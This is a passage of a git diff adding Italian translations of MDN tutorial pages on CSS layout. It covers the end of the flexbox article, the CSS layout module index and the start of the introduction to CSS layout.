+<p>La potenza di flexbox risiede nella sua flessibilità ovvero nella responsività con cui gestisce il layout: se ridimensioniamo la finestra del browser oppure inseriamo un nuovo elemento {{htmlelement("article")}} il layout continuerà a funzionare bene.</p>
+
+<h2 id="flex_forma_contratta_al_posto_della_forma_estesa">flex: forma contratta al posto della forma estesa</h2>
+
+<p>La proprietà  {{cssxref("flex")}} rappresenta la forma contratta delle seguenti tre proprietà::</p>
+
+<ul>
+ <li>la proporzione, priva di unità di misura reale, di cui abbiamo già discusso, che può essere individualmente espressa utilizzando la forma estesa {{cssxref("flex-grow")}}.</li>
+ <li>Una seconda unità proporzionale, {{cssxref("flex-shrink")}} che gioca un ruolo importante nel momento in cui i componenti flex stanno per oltrepassare i limiti del contenitore, specificando la misura in cui questi componenti possono restringersi in modo da non sbordare. Questa però è una proprietà piuttosto avanzata di flexbox che eviteremo di approfondire in questo articolo.</li>
+ <li>Una spaziatura reale minima di cui abbiamo già parlato, che può essere individualmente espressa utilizzando la forma estesa flex-basis {{cssxref("flex-basis")}}.</li>
+</ul>
+
+<p>È consigliabile non utilizzare le forme estese della proprietà flex, a meno che non si possa fare altrimenti, come per esempio sostituire un valore stabilito in precedenza, perché costringono a scrivere una maggior quantità di codice che può risultare in qualche modo confusionario.</p>
+
+<h2 id="Allineamento_orizzontale_e_verticale">Allineamento orizzontale e verticale</h2>
+
+<p>Con flexbox è possibile allineare i componenti flex lungo l'asse principale (main axis) o lungo l'asse traverso (cross axis). Facciamo alcune prove con la nuova pagina di esempio, <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/flex-align0.html">flex-align0.html</a> di cui è presente anche la <a href="http://mdn.github.io/learning-area/css/css-layout/flexbox/flex-align0.html">versione live</a> , per mostrare come creare una bottoniera, o barra degli strumenti, semplice e flessibile.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13414/flexbox-example5.png" style="display: block; height: 77px; margin: 0px auto; width: 600px;"></p>
+
+<p>Apriamo il codice in locale.</p>
+
+<p>Aggiungiamo al termine del file CSS la regola seguente:</p>
+
+<pre class="brush: css  notranslate">div {
+  display: flex;
+  align-items: center;
+  justify-content: space-around;
+}</pre>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/17210/flexbox_center_space-around.png" style="height: 209px; width: 1217px;"></p>
+
+<p>Dopo aver ricaricato la pagina, i bottoni vengono ben centrati, sia orizzontalmente che verticalmente. Abbiamo ottenuto questo risultato operando con due nuove proprietà:</p>
+
+<p>Attraverso {{cssxref("align-items")}} controlliamo l'allineamento rispetto all'asse traverso (cross axis).</p>
+
+<ul>
+ <li>Il valore predefinito è <code>stretch</code>, che allunga o comprime tutti i componenti flex affinché riempiano lo spazio del loro contenitore lungo l’asse traverso (cross axis). In un contenitore che non ha una misura fissa lungo l’asse traverso, tutti quanti suoi componenti assumono la lunghezza del maggiore fra di loro, perciò nel primo esempio dell'articolo tutti i componenti risultano della stessa altezza senza doverlo specificare.</li>
+ <li>In questo esempio viene invece specificato il valore <code>center</code>, per cui ogni componente si dimensiona in funzione del contenuto che possiede, in base a questa dimensione viene quindi centrato lungo l’asse traverso. Questa è la ragione per cui, in questo esempio, i bottoni che sono centrati in verticale.</li>
+ <li>Altri valori disponibili sono <code>flex-start</code> e <code>flex-end</code>, che allineano i componenti rispettivamente all’inizio o al temine dell’asse traverso. Per i dettagli vai {{cssxref("align-items")}}.</li>
+</ul>
+
+<p>É possibile sostituire l'impostazione data da align-items {{cssxref("align-items")}} , utilizzando la proprietà {{cssxref("align-self")}} di ogni singolo componente figlio. Ad esempio se proviamo ad aggiungere la seguente regola:</p>
+
+<pre class="brush: css  notranslate">button:first-child {
+  align-self: flex-end;
+}</pre>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/17211/flexbox_first-child_flex-end.png" style="height: 217px; width: 1219px;"></p>
+
+<p>Dopo aver verificato l’effetto, possiamo cancellare questa regola per ritornare alla situazione precedente.</p>
+
+<p>Attraverso {{cssxref("justify-content")}} controlliamo il tipo di schieramento dei componenti flex lungo l'asse principale (main axis).</p>
+
+<ul>
+ <li>Il valore predefinito è <code>flex-start</code>, per cui il gruppo dei componenti si posiziona all'inizio dell'asse principale.</li>
+ <li>Con <code>flex-end</code>, il gruppo si posiziona al termine.</li>
+ <li>Con <code>center </code>o altrimenti <code>justify-content</code>, l'allineamento parte dal centro dell'asse principale.</li>
+ <li>Con <code>space-around</code>, che è il valore utilizzato nell'esempio, i componenti si distribuiscono equamente lungo l'asse principale; inoltre viene creato un margine all'inizio e al termine dell'asse.</li>
+ <li>Con <code>space-between</code> impostiamo una situazione molto simile a <code>space-around</code>, eccettuati i margini alle estremità che non vengono creati.</li>
+</ul>
+
+<p>É consigliabile sperimentare le proprietà con valori suddetti prima di continuare a leggere l'articolo.</p>
+
+<h2 id="Ordinare_i_componenti_flex">Ordinare i componenti flex</h2>
+
+<p>Con flexbox è possibile cambiare l'ordine dei componenti senza intervenire manualmente nel sorgente HTML. Questa opportunità non esisteva con le metodologie di layout precedenti.</p>
+
+<p>Proviamo ad aggiungere al CSS una nuova semplice regola:</p>
+
+<pre class="brush: css  notranslate">button:first-child {
+  order: 1;
+}</pre>
+
+<p>Una volta ricaricato notiamo che il bottone con label "Sorriso" si è spostato al termine dell'asse principale. Vediamo in dettaglio cosa è successo:</p>
+
+<ul>
+ <li>Il valore predefinito della proprietà {{cssxref("order")}} di tutti i componenti flex è 0.</li>
+ <li>I componenti flex che hanno un valore di ordine maggiore compaiono dopo a quelli con un ordine minore.</li>
+ <li>I componenti flex che hanno lo stesso valore compaiono nello stesso ordine del sorgente HTML. Poniamo ad esempio di avere quattro componenti il cui corrispettivo valore è 2, 1, 1 e 0; il loro ordine di apparizione risulterà questo: all'inizio il quarto, poi il secondo, poi il terzo e al termine il primo.</li>
+ <li>Il terzo appare dopo il secondo perché hanno lo stesso valore order, dunque viene rispettata la successione con cui vengono definiti nel sorgente.</li>
+</ul>
+
+<p>Se impostiamo un valore negativo di order, il componente compare prima di quelli con valore 0. Proviamo ora ad applicare la regola impostando per esempio l'ordine del bottone "Imbarazzo":</p>
+
+<pre class="brush: css  notranslate">button:last-child {
+  order: -1;
+}</pre>
+
+<h2 id="Flex_box_annidati">Flex box annidati</h2>
+
+<p>Con flexbox possiamo creare layout piuttosto complessi; è del tutto lecito impostare un componente flex in modo che contenga a sua volta componenti annidati flex che vengono visualizzati come flex box. Diamo un'occhiata a <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/complex-flexbox.html">complex-flexbox.html</a> (<a href="http://mdn.github.io/learning-area/css/css-layout/flexbox/complex-flexbox.html">see it live also</a>).</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13418/flexbox-example7.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
+
+<p>La struttura HTML è abbastanza semplice, l'elemento {{htmlelement("section")}} contiene gli elementi figli {{htmlelement("article")}}. , il terzo di questi contiene tre {{htmlelement("div")}} :</p>
+
+<pre class="notranslate">section - article
+          article
+          article - div - button
+                    div   button
+                    div   button
+                          button
+                          button</pre>
+
+<p>Ora guardiamo il codice che ha creato il layout.</p>
+
+<p>Innanzitutto, impostiamo i figli di {{htmlelement("section")}} affinché diventino flex box.</p>
+
+<pre class="brush: css  notranslate">section {
+  display: flex;
+}</pre>
+
+<p>Quindi valorizziamo alcune proprietà flex all'interno degli stessi {{htmlelement("article")}}. Si noti in particolare la seconda regola, in cui si impone che il terzo elemento {{htmlelement("article")}} abbia a sua volta componenti innestati flex, i quali però devono essere incolonnati.</p>
+
+<pre class="brush: css  notranslate">article {
+  flex: 1 200px;
+}
+
+article:nth-of-type(3) {
+  flex: 3 200px;
+  display: flex;
+  flex-flow: column;
+}
+</pre>
+
+<p>Quindi, impostiamo per il primo &lt;div&gt; la proprietà flex a 1 100px; in modo che abbia un'altezza reale di almeno 100px; la proprietà successiva stabilisce che anche gli elementi figli, cioè i (the {{htmlelement("button")}}, divengano componenti flex; tali elementi si dispongono in riga e allineati a partire dal centro dello spazio disponibile mantenendo i margini alle estremità, proprio come l'esempio del bottone visto in precedenza.</p>
+
+<pre class="brush: css  notranslate">article:nth-of-type(3) div:first-child {
+  flex:1 100px;
+  display: flex;
+  flex-flow: row wrap;
+  align-items: center;
+  justify-content: space-around;
+}</pre>
+
+<p>Infine viene definita una regola per la dimensione dei bottoni., ma la parte più interessante è la proprietà flex che ha valore 1 auto; questa impostazione genera un comportamento peculiare che notiamo quando restringiamo la finestra del browser: i bottoni cercano di occupare il massimo dello spazio disponibile, si schierano uno accanto all'altro finché c'è spazio disponibile, e poi scalano alla riga seguente.</p>
+
+<pre class="brush: css  notranslate">button {
+  flex: 1 auto;
+  margin: 5px;
+  font-size: 18px;
+  line-height: 1.5;
+}</pre>
+
+<h2 id="Compatibilità_tra_browser">Compatibilità tra browser</h2>
+
+<p>Gran parte delle ultime versioni dei browser supportano flexbox, cioè Firefox, Chrome, Opera, Microsoft Edge, IE 11, le versioni recenti di Android/iOS ecc. Occorre tuttavia considerare anche la presenza delle versioni antiquate dei browser che non supportano flexbox oppure lo fanno solo parzialmente.</p>
+
+<p>Il problema non incide granché quando ne studiamo e ne proviamo le funzionalità, tuttavia quando si cerca di utilizzare flexbox per creare un sito web reale dobbiamo controllare e assicurarci che l'esperienza utente sia comunque accettabile in quanti più browser possibile.</p>
+
+<p>Applicare flexbox è un po' più complicato di altre funzionalità CSS. Se per esempio il browser non supporta l'ombreggiatura (drop shadow) è facile che l'usabilità del sito rimanga comunque valida, se invece manca il supporto a flexbox è probabile che il layout della pagina si disintegri rendendola inutilizzabile.</p>
+
+<p>Le strategie per ovviare ai problemi di compatibilità tra browser vengono affrontate nel modulo <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing">Cross browser testing</a>.</p>
+
+<h2 id="Metti_alla_prova_le_tue_capacità!">Metti alla prova le tue capacità!</h2>
+
+<p>Questo articolo è denso di informazioni, ma riesci a ricordare quelle più importanti?</p>
+
+<p>Prima di continuare possiamo verificare la nostra comprensione alla pagina <a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox_skills">Test your skills: Flexbox</a>.</p>
+
+<h2 id="Sommario">Sommario</h2>
+
+<p>In conclusione dell'articolo sulle basi di flexbox speriamo di aver suscitato interesse e un buon punto di partenza nel nostro percorso di apprendimento. Nel prossimo articolo ci occupiamo di un altro importante aspetto del layout CSS: le Griglie CSS.</p>
+
+<div>{{PreviousMenuNext("Learn/CSS/CSS_layout/Normal_Flow", "Learn/CSS/CSS_layout/Grids", "Learn/CSS/CSS_layout")}}</div>
+
+<div>
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Introduction">Introduction to CSS layout</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Normal_Flow">Normal flow</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Grids">Grid</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Floats">Floats</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Positioning">Positioning</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">Multiple-column layout</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Responsive_Design">Responsive design</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Media_queries">Beginner's guide to media queries</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">Legacy layout methods</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">Supporting older browsers</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">Fundamental layout comprehension assessment</a></li>
+</ul>
+</div>
diff --git a/files/it/learn/css/css_layout/index.html b/files/it/learn/css/css_layout/index.html
new file mode 100644
index 0000000000..31a85170fa
--- /dev/null
+++ b/files/it/learn/css/css_layout/index.html
@@ -0,0 +1,78 @@
+---
+title: Layout CSS
+slug: Learn/CSS/CSS_layout
+tags:
+  - Beginner
+  - CSS
+  - Floating
+  - Grids
+  - Guide
+  - Landing
+  - Layout
+  - Learn
+  - Module
+  - Multiple column
+  - Positioning
+  - alignment
+  - flexbox
+  - float
+  - table
+translation_of: Learn/CSS/CSS_layout
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">A questo punto abbiamo già visto i fondamenti di CSS, come assegnare uno stile a un testo e come modificare lo stile e l'impostazione dei riquadri nei quali risiede il contenuto. Ora impareremo come posizionare i riquadri rispetto all'area di visualizzazione e l'uno rispetto all'altro. Abbiamo già appreso i prerequisiti necessari per approfondire il layout CSS, analizzare le diverse impostazioni di display, i moderni strumenti di layout quali flexbox, griglia CSS, posizionamento e alcune tecniche legacy che potrebbe comunque tornare utile conoscere.</p>
+
+<h2 id="Prerequisiti">Prerequisiti</h2>
+
+<p>Per affrontare questo modulo è necessario:</p>
+
+<ol>
+ <li>Avere una conoscenza di base dell'HTML, discusso nel modulo Introduzione all'HTML [<a href="/it/docs/Learn/HTML/Introduction_to_HTML">Introduction to HTML</a>].</li>
+ <li>Avere familiarità con i fondamenti di CSS, discussi in Introduzione al CSS [<a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">Introduction to CSS</a>].</li>
+ <li>Comprendere come assegnare uno stile ai riquadri [<a href="it/docs/Learn/CSS/Building_blocks">Styling boxes</a>].</li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: Per chi utilizza un computer/tablet/altro dispositivo che non permette di creare file in locale, è possibile riprodurre la maggior parte degli esempi di codice con un programma online tipo <a href="http://jsbin.com/">JSBin</a> oppure <a href="https://glitch.com/">Glitch</a>.</p>
+</div>
+
+<h2 id="Guide">Guide</h2>
+
+<p>I seguenti articoli insegnano a utilizzare gli strumenti fondamentali di layout e le tecniche disponibili nel linguaggio CSS. Alla fine delle lezioni è previsto un test di valutazione per verificare la propria comprensione dei metodi di layout applicandoli a una pagina web.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/CSS/CSS_layout/Introduction">Introduzione ai layout CSS [Introduction to CSS layout]</a></dt>
+ <dd>Questo articolo riassume alcune delle caratteristiche dei layout CSS già incontrate nei moduli precedenti (ad esempio i diversi valori di {{cssxref("display")}}) e introduce diversi concetti che affronteremo in questo modulo.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/CSS_layout/Normal_Flow">Flusso normale [Normal flow]</a></dt>
+ <dd>Gli elementi di una pagina web si dispongono secondo un <em>flusso normale</em>, a meno che non facciamo qualcosa per cambiarlo. Questo articolo spiega le basi di un flusso normale come premessa per imparare a modificarlo.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox [Flexbox]</a></dt>
+ <dd><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_flexbox_to_lay_out_web_applications">Flexbox [Flexbox]</a> è un metodo di layout monodimensionale per disporre gli elementi in righe e colonne. Gli elementi si espandono per riempire lo spazio extra e si contraggono per adattarsi a uno spazio più ridotto. Questo articolo ne spiega i concetti fondamentali. Dopo aver studiato la guida potrai testare le tue competenze su flexbox <a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox_skills">[test your flexbox skills]</a> per accertarti di averlo compreso prima di passare all'argomento successivo.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/CSS_layout/Grids">Griglie [Grids]</a></dt>
+ <dd>La Griglia layout CSS è un sistema bidimensionale di layout per il Web. Permette di disporre i contenuti in righe e colonne, inoltre offre diverse funzionalità per semplificare la costruzione di layout complessi. Questo articolo contiene tutte le informazioni necessarie per iniziare a costruire il layout della pagina, quindi mettere alla prova le proprie abilità sulla griglia <a href="/en-US/docs/Learn/CSS/CSS_layout/Grid_skills">[test your grid skills]</a> prima di passare all'argomento successivo.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/CSS_layout/Floats">Elementi float [Floats]</a></dt>
+ <dd>Originariamente usata per inserire le immagini all'interno di blocchi di testo, la proprietà {{cssxref("float")}} è diventata uno dei più comuni strumenti per creare layout multicolonna nelle pagine web. Con la comparsa di Flexbox e Griglia è tornata alla sua finalità originale, come spiegato in questo articolo.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/CSS_layout/Positioning">Posizionamento [Positioning]</a></dt>
+ <dd>Il posizionamento permette di isolare gli elementi dal normale flusso della pagina assegnando loro un comportamento diverso, ad esempio sovrapporsi uno sull'altro o mantenere sempre la stessa posizione all'interno dell'area di visualizzazione del browser. Questo articolo spiega i differenti valori di {{cssxref("position")}} e come utilizzarli.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">Layout multicolonna [Multiple-column layout]</a></dt>
+ <dd>Le specifiche del layout multicolonna offrono un metodo per strutturare il contenuto in colonne come sulla pagina di un quotidiano. L'articolo spiega come sfruttare questa caratteristica.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/CSS_layout/Responsive_Design">Design reattivo [Responsive design]</a></dt>
+ <dd>Con la comparsa di dispositivi di varie dimensioni in grado di accedere al Web, è nato il concetto di web design reattivo (o RWD, dall'inglese Responsive Web Design): un insieme di procedure che permettono alle pagine web di modificare il proprio layout e aspetto per adattarsi a diverse larghezze, risoluzioni, ecc. Si tratta di un'idea che ha cambiato il modo di progettare il Web multi-dispositivo e questo articolo aiuta a capire le principali tecniche necessarie a padroneggiarlo.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/CSS_layout/Media_queries">Guida per principianti alle media query [Beginner's guide to media queries]</a></dt>
+ <dd>Le <strong>media query CSS</strong> danno modo di applicare i fogli di stile CSS solo quando il browser e le condizioni del dispositivo corrispondono alle regole specificate, ad esempio "l'area di visualizzazione è più larga di 480 pixel". Le media query sono un elemento fondamentale del web design reattivo, poiché non solo permettono di stabilire layout differenti a seconda della grandezza dell'area di visualizzazione, ma anche di rilevare altre condizioni dell'ambiente in cui un sito viene riprodotto, ad esempio se l'utente usa un touchscreen o un mouse. In questa lezione impareremo innanzitutto la sintassi usata nelle media query e poi le applicheremo in un esempio reale che mostra come trasformare un design semplice in reattivo.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">I metodi di layout legacy [Legacy layout methods]</a></dt>
+ <dd>Una caratteristica molto comune dei layout CSS sono i sistemi di griglia. Prima della Griglia Layout CSS cercavamo di realizzare l'impaginazione utilizzando elementi float o altre caratteristiche del layout. Il layout veniva concepito come un numero dato di colonne immaginarie (ad esempio 4, 6 o 12) all'interno delle quali inserire i contenuti. In questo articolo vedremo come funzionano questi metodi ormai obsoleti per capirne l'impostazione in caso dovessimo lavorare su progetti più datati.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">Supporto per i browser più datati [Supporting older browsers]</a></dt>
+ <dd>
+ <p>In questo modulo consigliamo di usare Flexbox e Griglia quali principali metodi di progettazione. Va però considerato che alcuni utenti potrebbero visualizzare il nostro sito con browser più datati o che, semplicemente, non supportano i metodi da noi scelti. Bisogna sempre tenerne conto nel Web: man mano che nuove funzionalità vengono messe a punto, ciascun browser si concentra sull'implementarne alcune, a scapito di altre. Questo articolo spiega come usare le moderne tecniche del Web senza escludere chi utilizza tecnologia più datata.</p>
+ </dd>
+ <dt><a href="/en-US/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">Valutazione sulla comprensione dei fondamenti di layout [Assessment: Fundamental layout comprehension]</a></dt>
+ <dd>Un test per valutare la comprensione dei diversi metodi di layout applicandoli a una vera pagina web.</dd>
+</dl>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/CSS/CSS_layout/Practical_positioning_examples">Esempi pratici di posizionamento [Practical positioning examples]</a></dt>
+ <dd>Questo articolo mostra come impostare alcuni esempi reali per illustrare le potenzialità del posizionamento.</dd>
+</dl>
diff --git a/files/it/learn/css/css_layout/introduction/index.html b/files/it/learn/css/css_layout/introduction/index.html
new file mode 100644
index 0000000000..3a3238e551
--- /dev/null
+++ b/files/it/learn/css/css_layout/introduction/index.html
@@ -0,0 +1,711 @@
+---
+title: Introduzione al layout CSS
+slug: Learn/CSS/CSS_layout/Introduction
+translation_of: Learn/CSS/CSS_layout/Introduction
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{NextMenu("Learn/CSS/CSS_layout/Normal_Flow", "Learn/CSS/CSS_layout")}}</div>
+
+<p class="summary">Questo articolo riassume alcune caratteristiche del CSS viste nei moduli precedenti, come ad esempio i diversi valori di {{cssxref("display")}}, e presenta alcuni concetti che verranno trattati nel corso di questo modulo.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisiti:</th>
+   <td>Le basi di HTML (leggi <a href="/it/docs/Learn/HTML/Introduction_to_HTML">Introduzione a HTML</a>) e nozioni sul funzionamento del CSS (leggi Introduzione a CSS [<a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">Introduction to CSS</a>].)</td>
+  </tr>
+  <tr>
+   <th scope="row">Obiettivo:</th>
+   <td>Offrire una panoramica sulle tecniche di CSS usate nei layout delle pagine web. Ogni tecnica viene approfondita negli articoli a seguire.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Le tecniche di CSS applicate al layout di pagina permettono di controllare il posizionamento degli elementi contenuti nella pagina web relativamente alla loro posizione predefinita nel flusso normale di layout, agli elementi contigui, al contenitore padre o all'area di visualizzazione/finestra principale. Le tecniche per il layout di pagina che approfondiremo in questo modulo sono:</p>
+
+<ul>
+ <li>Flusso normale</li>
+ <li>La proprietà {{cssxref("display")}}</li>
+ <li>Flexbox</li>
+ <li>Griglie</li>
+ <li>Elementi float</li>
+ <li>Posizionamento</li>
+ <li>Layout con tabelle</li>
+ <li>Layout multicolonna</li>
+</ul>
+
+<p>Ogni tecnica ha i propri casi d'uso, vantaggi e svantaggi. Nessuna di esse è concepita per funzionare in isolamento. Una volta compreso per quale scopo è stato progettato ciascun metodo, risulterà facile scegliere lo strumento di layout più adatto alle diverse esigenze.</p>
+
+<h2 id="Flusso_normale">Flusso normale</h2>
+
+<p>Per flusso normale si intende il layout predefinito di una pagina HTML, ovvero come viene visualizzata senza interventi da parte nostra. Ecco un breve esempio di codice HTML:</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;Amo il mio gatto.&lt;/p&gt;
+
+&lt;ul&gt;
+  &lt;li&gt;Compra il cibo per gatti&lt;/li&gt;
+  &lt;li&gt;Esercitati&lt;/li&gt;
+  &lt;li&gt;Tira su di morale un amico&lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;p&gt;Fine!&lt;/p&gt;</pre>
+
+<p>Secondo le impostazioni predefinite, il browser visualizza il codice in questo modo:</p>
+
+<p>{{ EmbedLiveSample('Normal_flow', '100%', 200) }}</p>
+
+<p>Notiamo come l'HTML venga visualizzato nell'esatto ordine in cui appare nel codice sorgente, con gli elementi incolonnati uno sotto l'altro: primo paragrafo, elenco non ordinato, secondo paragrafo.</p>
+
+<p>Gli elementi che compaiono uno sotto l'altro vengono definiti come elementi <em>blocco</em>, al contrario degli elementi <em>in linea</em>, che sono disposti uno accanto all'altro come le singole parole di un paragrafo.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: La direzione in cui si dispongono i contenuti di elementi blocco viene definita direzione blocco. La direzione blocco è verticale in lingue come l'inglese, che hanno una modalità di scrittura orizzontale. Al contrario, è orizzontale in lingue come il giapponese, che hanno una modalità di scrittura verticale. La corrispondente direzione in linea segue la direzione percorsa dai contenuti lineari, ad esempio quelli di una frase scritta.</p>
+</div>
+
+<p>Nella maggior parte dei casi, il flusso normale è sufficiente a disporre gli elementi nella pagina come ci servono. Tuttavia, per ottenere layout più complessi, occorre modificare la disposizione predefinita grazie ad alcuni strumenti disponibili nel CSS. Partire da un codice HTML ben strutturato è importante, perché permette di ritoccare la disposizione predefinita degli elementi, invece di stravolgerla.</p>
+
+<p>I metodi per influenzare la disposizione degli elementi con il CSS sono i seguenti:</p>
+
+<ul>
+ <li><strong>La proprietà {{cssxref("display")}}</strong>: i valori standard come <code>block</code>, <code>inline</code> o <code>inline-block</code> possono mutare il comportamento degli elementi nel flusso normale, ad esempio far sì che un elemento blocco si comporti come un elemento in linea (per maggiori informazioni vedi Tipi di box CSS [<a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Box_model#Types_of_CSS_boxes">Types of CSS boxes</a>]). Esistono anche metodi che influiscono sull'intero layout, ridefinendo il posizionamento degli elementi figlio una volta che assegnamo all'elemento padre che li contiene determinati valori di <code>display</code>. Vedi, per esempio, Griglie CSS [<a href="/en-US/docs/Learn/CSS/CSS_layout/Grids">CSS Grid</a>] e Flexbox [<a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a>].</li>
+ <li><strong>Elementi float</strong>: applicando a {{cssxref("float")}} un valore come <code>left</code> è possibile affiancare altri elementi agli elementi blocco, proprio come le illustrazioni contornate da testo nei layout delle riviste cartacee.</li>
+ <li><strong>La proprietà {{cssxref("position")}}</strong>: permette un preciso posizionamento di elementi box all'interno di altri box. <code>static</code> è il valore predefinito nel flusso normale, ma applicando altri valori è possibile definire un comportamento differente, come ad esempio fissare il box in cima all'area di visualizzazione.</li>
+ <li><strong>Layout con tabelle</strong>: le caratteristiche utilizzate per lo stile di una tabella HTML possono essere riproposte su elementi non tabellari impostando <code>display: table</code> e altre proprietà associate.</li>
+ <li><strong>Layout multicolonna</strong>: le proprietà del Layout multicolonna [<a href="/en-US/docs/Web/CSS/CSS_Columns">Multi-column layout</a>] possono distribuire in colonne il contenuto di un blocco, come nella pagina di un quotidiano cartaceo.</li>
+</ul>
+
+<h2 id="La_proprietà_display">La proprietà display</h2>
+
+<p>I modi principali per realizzare il layout di una pagina via CSS risiedono nei diversi valori della proprietà <code>display</code>. Questa proprietà permette di cambiare l'impostazione predefinita per la visualizzazione di un elemento. Nel flusso normale, tutti gli elementi hanno un valore <code>display</code> predefinito, che definisce il comportamento per cui sono stati progettati. Ad esempio, il fatto che i paragrafi di testo nelle lingue occidentali vengano visualizzati uno sotto l'altro è dovuto al loro stile predefinito <code>display: block</code>. Se all'interno di un paragrafo si inserisce un link in una porzione del testo, il link rimane allineato con il resto del testo invece di andare a capo poiché lo stile predefinito dell'elemento {{htmlelement("a")}} è <code>display: inline</code>.</p>
+
+<p>Il tipo di visualizzazione predefinito può essere modificato. Ad esempio, l'impostazione predefinita dell'elemento {{htmlelement("li")}} è <code>display: block</code>. Ciò significa che le voci dell'elenco nel documento vengono visualizzate una sotto l'altra, secondo l'impostazione occidentale. Se il valore di display viene modificato in <code>inline</code>, gli elementi dell'elenco verranno visualizzati uno accanto all'altro, come le parole di una frase. La possibilità di modificare il valore di <code>display</code> per tutti gli elementi significa che è possibile mantenere il loro significato semantico definito nell'HTML, indipendentemente dal modo in cui verranno visualizzati. Abbiamo, in sostanza, la possibilità di cambiarne unicamente il comportamento.</p>
+
+<p>Oltre alla possibilità di cambiare la presentazione dei componenti da <code>block</code> a <code>inline</code> e vice versa, si possono creare layout con metodi più complessi, iniziando proprio dall'impostazione del valore di <code>display</code>. Tuttavia, occorre solitamente abbinarlo ad altre proprietà per realizzare un layout complesso. I due valori principali quando parliamo di layout sono <code>display: flex</code> e <code>display: grid</code>.</p>
+
+<h2 id="Flexbox">Flexbox</h2>
+
+<p>Flexbox è l'abbreviazione di Modulo <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexible Box Layout</a>, progettato per facilitare la creazione di layout monodimensionali degli elementi sia in riga che in colonna. Per utilizzare Flexbox, occorre impostare <code>display: flex</code> al padre degli elementi su cui si intende applicare il layout; tutti i figli diretti di tale elemento diventeranno componenti flex. Ecco un semplice esempio.</p>
+
+<p>Il markup HTML sottostante presenta una classe <code>wrapper</code> associata a un elemento contenitore, nel quale sono presenti tre elementi {{htmlelement("div")}}. Secondo il loro valore predefinito, nel documento d'esempio che ha una direzione di scrittura occidentale, gli elementi dovrebbero essere visualizzati come elementi blocco, uno sotto l'altro.</p>
+
+<p>Tuttavia, una volta specificato <code>display: flex</code> sul padre, i tre componenti figlio si dispongono in colonna. Questo accade perché essi ora sono <em>componenti flex</em> e assumono il medesimo valore iniziale che Flexbox attribuisce loro attraverso il contenitore padre. In questo caso vengono presentati in riga perché il valore iniziale di {{cssxref("flex-direction")}} impostato dal padre è <code>row</code>. Si allungano tutti fino a raggiungere l'altezza del componente più alto perché il valore iniziale della proprietà {{cssxref("align-items")}} viene impostato a <code>stretch</code> dal padre. Quindi i componenti si distendono fino a raggiungere l'altezza del contenitore flex, che in questo caso è definita dal più alto tra i suoi componenti. Tutti i componenti si schierano al principio del contenitore, lasciando spazio libero alla fine della riga.</p>
+
+<div id="Flex_1">
+<div class="hidden">
+<h6 id="Flexbox_Example_1">Flexbox Example 1</h6>
+
+<pre class="brush: css notranslate">* {box-sizing: border-box;}
+
+.wrapper &gt; div {
+    border-radius: 5px;
+    background-color: rgb(207,232,220);
+    padding: 1em;
+}
+    </pre>
+</div>
+
+<pre class="brush: css notranslate">.wrapper {
+  display: flex;
+}
+</pre>
+
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+  &lt;div class="box1"&gt;Uno&lt;/div&gt;
+  &lt;div class="box2"&gt;Due&lt;/div&gt;
+  &lt;div class="box3"&gt;Tre&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+</div>
+
